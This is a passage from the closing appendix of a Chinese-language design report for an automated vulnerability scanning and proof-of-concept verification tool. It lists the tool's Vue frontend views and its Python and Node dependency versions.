数据模型
frontend/src/views
Scan.vue
扫描页面
frontend/src/views
Dashboard.vue
仪表盘
frontend/src/views
Results.vue
结果页面
frontend/src/views
Reports.vue
报告页面
B. 依赖版本 Python 依赖 (requirements.txt):
1 2 3 4 5 6 7 8 9 10 11 12 Flask>=2.3.0 Flask-SocketIO>=5.3.0 Flask-CORS>=4.0.0 requests>=2.31.0 python-socketio>=5.9.0 sqlalchemy>=2.0.0 jinja2>=3.1.0 weasyprint>=60.0 pypdf2>=3.0.0 colorama>=0.4.6 python-dateutil>=2.8.0 pyyaml>=6.0
Node 依赖 (package.json):
1 2 3 4 5 6 7 8 9 { "vue" : "^3.4.0" , "vue-router" : "^4.2.0" , "pinia" : "^2.1.0" , "element-plus" : "^2.5.0" , "axios" : "^1.6.0" , "socket.io-client" : "^4.7.0" , "echarts" : "^5.5.0" }
文档结束
本报告详细描述了自动化漏洞扫描与 POC 验证工具的设计与实现。如有问题,请联系项目维护者。